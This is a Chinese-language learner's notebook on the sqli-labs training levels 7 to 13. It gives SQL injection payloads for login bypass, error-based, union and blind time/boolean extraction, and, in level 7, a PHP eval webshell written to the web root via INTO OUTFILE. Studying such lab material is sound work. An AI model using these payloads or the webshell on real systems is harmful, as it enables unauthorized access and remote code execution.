sqli labs-13

1、输入单引号报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘ww’) LIMIT 0,1′ at line 1 同样的发现有 ‘)’ 构造 admin’) or 1=1 or (‘1’=’1 返回成功,但是没有显示具体的登陆信息。

sqli labs-12

1、在username中输入带有双引号报错。注意其报错语句为 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’22”) LIMIT 0,1′ at line 1 这里有个 ‘)’,所以在构造密码绕过时要注意那个括号。

2、最基本的万能密码 admin’ or ‘1’=’1; 但是此处为双引号,且带有括号,所以尝试下 admin”) or 1=1 or (“1″=”1 ,成功绕过

3、上帝视角查看后台代码,以前从来没看过,别人说啥就是啥,今天非要看一看。

`$uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";`

原来是用双引号进行拼接的,然后再在外面加的括号啊。

where username=("admin") or (1="1#") and password= 
//没有问题,正确执行。这里#不再是注释了哦,先判断 (1="1#") and password= ,这里绕过的实质是 or运算,用户名正确了,直接就执行了
where username=("admin") or "1"="1#") and password=
//admin") or "1"="1# 会报错,注意看上面语句,括号没有闭合

一定要注意,当#在引号里面时,他会被当做字符而不是注释!

sqli labs-11

1、第一眼看到这个我是懵逼的,随便输啥字符进去都是 login failed,页面也不改变。

2、直到我在username里面输入的字符带了个单引号。他报错了!!! You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘dsd22′ LIMIT 0,1’ at line 1


3、马上查看报错注入的笔记(对不起我不记得那些命令了),立马构造语句– ads’ and and extractvalue(1,concat(0x7e,(select @@version),0x7e)) — 成功返回版本5.5.53

4、看了答案,原来这里就开始传说中的post注入了,一般通过表单注入,get注入的语句都可以使用

5、万能密码 admin’ or 1=1 #, 当我们提交username和password后,后台形成的sql语句为@sql="SELECT username, password FROM users WHERE username='admin'or 1=1 # and
password='
passwd' LIMIT 0,1"
;在#以后的内容就被注释掉, 前面的内容因为 or 1=1 恒成立, 所以语句就成立, 我们此时以admin 的用户登录。

6、此处还可以使用联合注入。 1′ union select 1,database() —

sqli labs-9

1、先用之前的常用语句测试,都没反应,页面一直正常。这下懵逼了。然后随便输入了参数,也不报错,那肯定报错注入没戏了。像联合注入布尔盲注一般都是根据输入不同语句返回不同页面来判断是否存在注入,如果有回显,就采用联合注入,如果没有回显就采用布尔盲注。这里输啥都没反应,难道是被过滤了?我有点懵了。试了下 1 and sleep(5) –+, 还是一样的啊。算了看答案吧。

2、 原来是 单引号的时间盲注,,,, 1′ and sleep(5) –+, 成功pending到5s后执行。涨姿势了!

sqli labs-8

1、尝试 1′ and ‘1’=’1 –+ 和 1′ and ‘1’=’2 –+ 返回不同页面
2、当其报错时,没有回显,无法使用报错注入;在使用order by 和 union select之后发现没有回显,故也无法使用联合注入。所以考虑盲注。先试试布尔盲注呢

3、布尔盲注-猜解数据库名
– 先猜数据库名长度再逐字猜数据库名
– 猜数据库名长度—1′ and length(database())=1 将length=1的1作为变量用burpsuite进行爆破
– 逐字猜解数据库名— 1′ and ascii(substr(database(),1,1))=97 #

说明其数据库长度为8.
再来猜他的第一个字符。1′ and ascii(substr(database(),1,1))=97,将97作为变量进行爆破

第一个字符的ASCII码是115,查ASCII码表可得对应的字符为’s’ 。
然后使用 1′ and ascii(substr(database(),2,1))=97进行爆破,注意这里是 database(),2,1—截取第二个字符。

同样的查表可得数据库名的第二个字符为’e’
其后的步骤略去不提,都是一样的,可查看之前的笔记 mysql-4 布尔盲注。

4、试试时间盲注呢。– 1′ and sleep(5) –+
在network那里可以明显的看到一个pending过程。

后续步骤不提,具体命令参考之前笔记 mysql-5 时间盲注

sqli labs-7

1、加入单引号后报错
2、尝试各种组合后发现 1′)) and 1=1 –+ 后返回正常。
3、对不起,我看答案了。是要考察写文件。执行 1′)) union select 1,2,3 into outfile “C:\phpstudy\WWW\sqli-labs\Less-7\test.txt” –+ ,发现报错。

访问一下test.txt 呢 。发现已经写入成功了

将test.txt换成 一句话试试
1′)) union select 1,2,’<?php @eval($_POST[123]);?>‘ into outfile “C:\phpstudy\WWW\sqli-labs\Less-7\test.php” –+
成功连接

这种写文件需要知道
1、绝对路径
2、需要当前用户拥有写的权限
3、目标目录可写
4、gpc=off
5、secure_file_priv 的值为空,如果为其他值,则只能写入到对应值的目录下